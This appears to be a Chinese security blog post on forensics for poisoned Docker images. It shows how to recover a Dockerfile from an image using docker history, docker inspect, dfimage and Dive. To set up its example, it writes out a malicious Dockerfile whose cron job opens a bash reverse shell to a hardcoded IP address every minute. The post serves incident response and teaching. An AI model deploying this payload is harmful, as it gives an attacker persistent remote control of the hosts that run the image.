Docker镜像解析获取Dockerfile文件

admin 2024年8月5日15:16:59评论5 views字数 1160阅读3分52秒阅读模式
01、概述

当涉及到容器镜像的安全时,特别是在出现镜像投毒引发的安全事件时,追溯镜像的来源和解析Dockerfile文件是应急事件处理的关键步骤。在这篇博客中,我们将探讨如何从镜像解析获取Dockerfile文件,这对容器安全至关重要。

02、环境准备

利用Dockfile构建一个反弹shell的恶意镜像:

FROM ubuntu:20.04RUN  apt-get update &&     apt-get install -y cron &&     (echo '* * * * * bash -c "bash -i >& /dev/tcp/192.168.99.242/12345 0>&1"'; crontab -l )| crontabENTRYPOINT ["cron","-f","&&"]CMD ["/bin/bash"]

03、镜像解析Dockerfile

3.1 镜像文件解析

在镜像的元数据信息中,到镜像构建所使用的 Dockerfile,可以成功解析 Docker 镜像并获取其 Dockerfile 内容,以了解镜像的构建过程和引入的软件包及配置。

docker save -o test.tar test:v1.0 tar -xvf test.tar 

Docker镜像解析获取Dockerfile文件

3.2 docker命令参数

使用docker history 命令查看指定镜像的创建历史,展示只能看到一部分,可以加上 --no-trunc,就可以看到全部信息。

docker history test:v1.0 docker history test:v1.0  --no-trunc

Docker镜像解析获取Dockerfile文件

 

使用docker inspect命令来查看Docker镜像的详细信息,通过--format参数可自行定义输出信息,获取镜像的配置信息。

#查看镜像的配置信息docker inspect --format='{{json .Config}}' test:v1.0

Docker镜像解析获取Dockerfile文件

 

3.3 dfimage

dfimage是一款第三方工具,可用来从镜像中提取 Dockerfile

(1)生成快捷方式,使用dfimage可以输出很详细的 Dockerfile。

alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"dfimage -sV=1.36  test:v1.0

Docker镜像解析获取Dockerfile文件

3.4 Docker镜像分析神器 Dive

Dive是一款Docker镜像分析神器,分析和浏览 Docker 容器镜像内部,可以很详细的看到每一层文件的变化。

alias dive="docker run -ti --rm  -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"dive test:v1.0

Docker镜像解析获取Dockerfile文件

原文始发于微信公众号(Bypass):Docker镜像解析获取Dockerfile文件

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月5日15:16:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Docker镜像解析获取Dockerfile文件http://cn-sec.com/archives/2016385.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息